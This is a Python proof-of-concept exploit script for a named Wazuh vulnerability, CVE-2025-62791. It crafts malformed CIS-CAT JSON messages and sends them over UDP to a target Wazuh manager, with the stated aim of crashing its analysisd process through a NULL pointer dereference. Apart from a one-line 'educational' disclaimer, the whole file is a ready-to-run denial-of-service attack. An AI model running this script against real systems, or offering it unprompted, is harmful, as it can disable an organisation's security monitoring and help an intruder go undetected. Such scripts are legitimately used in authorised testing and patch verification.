#!/usr/bin/env python3
"""
CVE-2025-62791 PoC - Wazuh DecodeCiscat NULL Pointer Dereference
This PoC demonstrates sending a malformed CIS-CAT message that triggers
a NULL pointer dereference in DecodeCiscat() function.
Note: This is for educational and authorized testing purposes only.
"""
import socket
import json
import struct
def send_wazuh_message(target_ip, target_port, message):
"""Send a message to Wazuh manager via agent-manager protocol"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Prepend message length as uint32
msg_bytes = message.encode('utf-8')
packet = struct.pack('>I', len(msg_bytes)) + msg_bytes
sock.sendto(packet, (target_ip, target_port))
sock.close()
print(f"[+] Malformed message sent to {target_ip}:{target_port}")
return True
except Exception as e:
print(f"[-] Error sending message: {e}")
return False
def generate_malformed_ciscat_message():
"""
Generate a malformed CIS-CAT message that triggers NULL pointer
dereference in DecodeCiscat() by omitting required JSON fields
"""
# Malformed message that causes cJSON_GetObjectItem to return NULL
# for required fields, leading to NULL pointer dereference
ciscat_data = {
# Intentionally omit or invalidate required fields to trigger NULL return
"type": "ciscat",
"agent_id": "001",
"timestamp": "2025-10-29T12:00:00Z",
# Missing or malformed 'ciscat' field that should contain scan results
"ciscat": {
# Intentionally empty or malformed data
"scan_id": None,
"scan_time": None
}
}
# Create the full Wazuh message structure
full_message = {
"origin": "/var/ossec/etc/shared/agent.conf",
"module": "ciscat",
"data": ciscat_data
}
return json.dumps(full_message)
def generate_ciscat_crash_message():
"""
Alternative: Generate message that triggers parsing error
causing cJSON_GetObjectItem to return NULL
"""
message = "1:/var/ossec/etc/shared/agent.conf:ciscat|{"
message += "\"type\":\"ciscat\",\"agent_id\":\"001\",\"ciscat\":{\"error\":true}}"
return message
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-62791 PoC')
parser.add_argument('--target', default='127.0.0.1', help='Wazuh Manager IP')
parser.add_argument('--port', type=int, default=1514, help='Wazuh Manager Port')
args = parser.parse_args()
print("[*] CVE-2025-62791 - Wazuh DecodeCiscat NULL Pointer Dereference")
print("[*] Target:", args.target)
print("[*] Generating malformed CIS-CAT message...")
# Method 1: Malformed JSON
message1 = generate_malformed_ciscat_message()
send_wazuh_message(args.target, args.port, message1)
# Method 2: Direct crash message
message2 = generate_ciscat_crash_message()
send_wazuh_message(args.target, args.port, message2)
print("[*] Exploit sent. If vulnerable, analysisd will crash.")